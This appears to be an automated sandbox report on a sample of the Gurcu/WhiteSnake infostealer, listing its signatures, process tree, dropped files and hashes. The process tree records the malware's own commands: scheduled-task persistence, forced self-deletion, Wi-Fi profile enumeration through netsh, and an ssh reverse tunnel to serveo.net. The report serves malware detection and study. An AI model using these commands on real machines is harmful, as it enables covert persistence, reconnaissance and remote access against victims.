Analysis

  • max time kernel
    148s
  • max time network
    154s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    05/10/2023, 21:52

General

  • Target
    1edb8aa1adacda31bc98064b1634ddea.exe
  • Size 225KB
  • Sample231005-1rd8nsfe4x
  • SHA256 fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detect Gurcu Stealer V3 payload 7 IoCs
  • Gurcu, WhiteSnake

    Gurcu is a malware stealer written in C#.

  • Deletes itself 1 IoCs
  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 2 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies system certificate store 2 TTPs 2 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\1edb8aa1adacda31bc98064b1634ddea.exe
    "C:\Users\Admin\AppData\Local\Temp\1edb8aa1adacda31bc98064b1634ddea.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2404
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C chcp 65001 && ping 127.0.0.1 && schtasks /create /tn "1edb8aa1adacda31bc98064b1634ddea" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\WindowsSecurity\1edb8aa1adacda31bc98064b1634ddea.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\Admin\AppData\Local\Temp\1edb8aa1adacda31bc98064b1634ddea.exe" &&START "" "C:\Users\Admin\AppData\Local\WindowsSecurity\1edb8aa1adacda31bc98064b1634ddea.exe"
      2⤵
      • Deletes itself
      • Suspicious use of WriteProcessMemory
      PID:2680
      • C:\Windows\system32\chcp.com
        chcp 65001
        3⤵
          PID:1144
        • C:\Windows\system32\PING.EXE
          ping 127.0.0.1
          3⤵
          • Runs ping.exe
          PID:2596
        • C:\Windows\system32\schtasks.exe
          schtasks /create /tn "1edb8aa1adacda31bc98064b1634ddea" /sc MINUTE /tr "C:\Users\Admin\AppData\Local\WindowsSecurity\1edb8aa1adacda31bc98064b1634ddea.exe" /rl HIGHEST /f
          3⤵
          • Creates scheduled task(s)
          PID:2648
        • C:\Users\Admin\AppData\Local\WindowsSecurity\1edb8aa1adacda31bc98064b1634ddea.exe
          "C:\Users\Admin\AppData\Local\WindowsSecurity\1edb8aa1adacda31bc98064b1634ddea.exe"
          3⤵
          • Executes dropped EXE
          • Accesses Microsoft Outlook profiles
          • Modifies system certificate store
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2624
          • C:\Windows\system32\cmd.exe
            "cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:2880
            • C:\Windows\system32\chcp.com
              chcp 65001
              5⤵
                PID:2860
              • C:\Windows\system32\netsh.exe
                netsh wlan show profiles
                5⤵
                  PID:2876
                • C:\Windows\system32\findstr.exe
                  findstr /R /C:"[ ]:[ ]"
                  5⤵
                    PID:2884
                • C:\Windows\system32\cmd.exe
                  "cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2748
                  • C:\Windows\system32\chcp.com
                    chcp 65001
                    5⤵
                      PID:2752
                    • C:\Windows\system32\findstr.exe
                      findstr "SSID BSSID Signal"
                      5⤵
                        PID:2236
                      • C:\Windows\system32\netsh.exe
                        netsh wlan show networks mode=bssid
                        5⤵
                          PID:1192
                      • C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe
                        "C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:3335 serveo.net
                        4⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:1548
                • C:\Windows\system32\taskeng.exe
                  taskeng.exe {0F486FE9-24AF-4A69-9E1D-54B41ED65483} S-1-5-21-3750544865-3773649541-1858556521-1000:XOCYHKRS\Admin:Interactive:[1]
                  1⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2168
                  • C:\Users\Admin\AppData\Local\WindowsSecurity\1edb8aa1adacda31bc98064b1634ddea.exe
                    C:\Users\Admin\AppData\Local\WindowsSecurity\1edb8aa1adacda31bc98064b1634ddea.exe
                    2⤵
                    • Executes dropped EXE
                    • Accesses Microsoft Outlook profiles
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of WriteProcessMemory
                    • outlook_office_path
                    • outlook_win_path
                    PID:2560
                    • C:\Windows\system32\cmd.exe
                      "cmd.exe" /c chcp 65001 && netsh wlan show profiles|findstr /R /C:"[ ]:[ ]"
                      3⤵
                      • Suspicious use of WriteProcessMemory
                      PID:732
                      • C:\Windows\system32\chcp.com
                        chcp 65001
                        4⤵
                          PID:1656
                        • C:\Windows\system32\netsh.exe
                          netsh wlan show profiles
                          4⤵
                            PID:456
                          • C:\Windows\system32\findstr.exe
                            findstr /R /C:"[ ]:[ ]"
                            4⤵
                              PID:544
                          • C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe
                            "C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:3335 serveo.net
                            3⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            PID:2060
                          • C:\Windows\system32\cmd.exe
                            "cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"
                            3⤵
                              PID:1680
                              • C:\Windows\system32\chcp.com
                                chcp 65001
                                4⤵
                                  PID:3068
                                • C:\Windows\system32\netsh.exe
                                  netsh wlan show networks mode=bssid
                                  4⤵
                                    PID:1636
                                  • C:\Windows\system32\findstr.exe
                                    findstr "SSID BSSID Signal"
                                    4⤵
                                      PID:3020

                              Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    known_hosts

                                    • Path C:\Users\Admin\.ssh\known_hosts
                                    • Size 393B
                                    • SHA256 9ab8d1a229e05070a0364b5c5efd2ab1ddf676b0bc00314ec336bcdc00998190
                                    • MD5 SHA1 SHA512

                                    1edb8aa1adacda31bc98064b1634ddea.exe

                                    • Path C:\Users\Admin\AppData\Local\WindowsSecurity\1edb8aa1adacda31bc98064b1634ddea.exe
                                    • Size 225KB
                                    • SHA256 fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575
                                    • MD5 SHA1 SHA512 SSDEEP

                                    1edb8aa1adacda31bc98064b1634ddea.exe

                                    • Path C:\Users\Admin\AppData\Local\WindowsSecurity\1edb8aa1adacda31bc98064b1634ddea.exe
                                    • Size 225KB
                                    • SHA256 fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575
                                    • MD5 SHA1 SHA512 SSDEEP

                                    1edb8aa1adacda31bc98064b1634ddea.exe

                                    • Path C:\Users\Admin\AppData\Local\WindowsSecurity\1edb8aa1adacda31bc98064b1634ddea.exe
                                    • Size 225KB
                                    • SHA256 fb33ecb0d51761b0bde6977c7ae7eec18fd4c326bd73f3f4fac32e9abfb18575
                                    • MD5 SHA1 SHA512 SSDEEP

                                    libcrypto.dll

                                    • Path C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\libcrypto.dll
                                    • Size 1.5MB
                                    • SHA256 6562ae65844bd9bb6d70908bfb67bc03e85053e6e0673457b0341a7ad5a957d5
                                    • MD5 SHA1 SHA512 SSDEEP

                                    ssh.exe

                                    • Path C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe
                                    • Size 914KB
                                    • SHA256 2afb05a73ddb32ae71ebdc726a9956d844bf8f0deba339928ca8edce6427df71
                                    • MD5 SHA1 SHA512 SSDEEP

                                    ssh.exe

                                    • Path C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe
                                    • Size 914KB
                                    • SHA256 2afb05a73ddb32ae71ebdc726a9956d844bf8f0deba339928ca8edce6427df71
                                    • MD5 SHA1 SHA512 SSDEEP

                                    ssh.exe

                                    • Path C:\Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\ssh.exe
                                    • Size 914KB
                                    • SHA256 2afb05a73ddb32ae71ebdc726a9956d844bf8f0deba339928ca8edce6427df71
                                    • MD5 SHA1 SHA512 SSDEEP

                                    port.dat

                                    • Path C:\Users\Admin\AppData\Local\loshoa0u2z\port.dat
                                    • Size 4B
                                    • SHA256 0457c48d8fc39719542ac36d4b3ae96327a4b84270943287de7ce07424516b32
                                    • MD5 SHA1 SHA512

                                    libcrypto.dll

                                    • Path \Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\libcrypto.dll
                                    • Size 1.5MB
                                    • SHA256 6562ae65844bd9bb6d70908bfb67bc03e85053e6e0673457b0341a7ad5a957d5
                                    • MD5 SHA1 SHA512 SSDEEP

                                    libcrypto.dll

                                    • Path \Users\Admin\AppData\Local\WindowsSecurity\OpenSSH-Win32\libcrypto.dll
                                    • Size 1.5MB
                                    • SHA256 6562ae65844bd9bb6d70908bfb67bc03e85053e6e0673457b0341a7ad5a957d5
                                    • MD5 SHA1 SHA512 SSDEEP

                                    memory/2404-5-0x000007FEF5B10000-0x000007FEF64FC000-memory.dmp

                                    memory/2404-1-0x000007FEF5B10000-0x000007FEF64FC000-memory.dmp

                                    memory/2404-2-0x0000000000560000-0x00000000005E0000-memory.dmp

                                    memory/2404-0-0x0000000000300000-0x000000000033E000-memory.dmp

                                    memory/2560-17-0x000000001B350000-0x000000001B3D0000-memory.dmp

                                    memory/2560-15-0x000007FEF5120000-0x000007FEF5B0C000-memory.dmp

                                    memory/2560-136-0x000007FEF5120000-0x000007FEF5B0C000-memory.dmp

                                    memory/2560-137-0x000000001B350000-0x000000001B3D0000-memory.dmp

                                    memory/2624-16-0x000007FEF5120000-0x000007FEF5B0C000-memory.dmp

                                    memory/2624-11-0x000000001B330000-0x000000001B3B0000-memory.dmp

                                    memory/2624-10-0x000007FEF5120000-0x000007FEF5B0C000-memory.dmp

                                    memory/2624-9-0x0000000000C10000-0x0000000000C4E000-memory.dmp

                                    memory/2624-135-0x000000001B330000-0x000000001B3B0000-memory.dmp